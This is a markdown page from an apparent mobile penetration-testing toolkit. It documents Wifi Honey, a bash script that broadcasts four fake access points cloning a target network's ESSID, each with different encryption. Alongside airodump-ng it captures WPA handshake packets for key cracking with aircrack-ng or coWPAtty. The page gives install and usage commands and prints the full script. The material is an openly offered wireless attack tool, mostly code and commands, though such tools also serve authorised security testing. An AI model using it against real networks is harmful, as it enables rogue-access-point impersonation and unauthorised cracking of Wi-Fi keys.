MobilePenBerry/tools/wifihoney.md
2022-01-12 20:24:15 +01:00

2.4 KiB

Wifi Honey

It's to work out what encryption a client is looking for in a given network by setting up four fake access points, each with a different type of encryption, None, WEP, WPA and WPA2 and the seeing which of the four the client connects to.

In the case of WPA/WPA2, by running airodump-ng along side this you also end up capturing the first two packets of the four way handshake and so can attempt to crack the key with either aircrack-ng or coWPAtty.

What this script does is to automate the setup process, it creates five monitor mode interfaces, four are used as APs and the fifth is used for airodump-ng. To make things easier, rather than having five windows all this is done in a screen session which allows you to switch between screens to see what is going on. All sessions are labelled so you know which is which.

Installation

The script requires screen and the aircrack-ng suite, make sure they are both installed and in the path

sudo apt install wifi-honey

Or download the script:

wget https://digi.ninja/files/wifi_honey_1.0.tar.bz2
tar -xf wifi_honey.tar.bz2
cd wifi_honey
chmod a+x wifi_honey.sh
# remember to run wifihoney from the .sh directory

Usage

Usage is simple, start the script with the ESSID of the network you want to impersonate.

wifi_honey FreeWifi

Specify also the channel and interface: Broadcast the given ESSID (FreeWiFi) on channel 6 (6) using the wireless interface (wlan0)

wifi-honey FreeWiFi 6 wlan0

The script

As Wifi Honey is a small script you can also just copy paste or look what it does here:

#!/usr/bin/env bash

if [[ -z "$1" ]]
then
	echo "Missing ESSID"
	exit 1
fi

if [ "$1" == "-h" -o "$1" == "-?" ]
then
	echo "Usage: $0 <essid> <channel> <interface>"
	echo
	echo "Default channel is 1"
	echo "Default interface is wlan0"
	echo
	echo "Robin Wood <robin@digininja.org>"
	echo "See Security Tube Wifi Mega Primer episode 26 for more information"
	exit 1
fi

ESSID=$1
CHANNEL=$2
INTERFACE=$3

if [[ "$CHANNEL" == "" ]]
then
	CHANNEL=1
fi

if [[ "$INTERFACE" == "" ]]
then
	INTERFACE="wlan0"
fi

x=`iwconfig mon4`

if [[ "$x" == "" ]]
then
	airmon-ng start $INTERFACE 1
	airmon-ng start $INTERFACE 1
	airmon-ng start $INTERFACE 1
	airmon-ng start $INTERFACE 1
	airmon-ng start $INTERFACE 1
fi

sed "s/<ESSID>/$ESSID/" wifi_honey_template.rc | sed "s/<CHANNEL>/$CHANNEL/" > screen_wifi_honey.rc
screen -c screen_wifi_honey.rc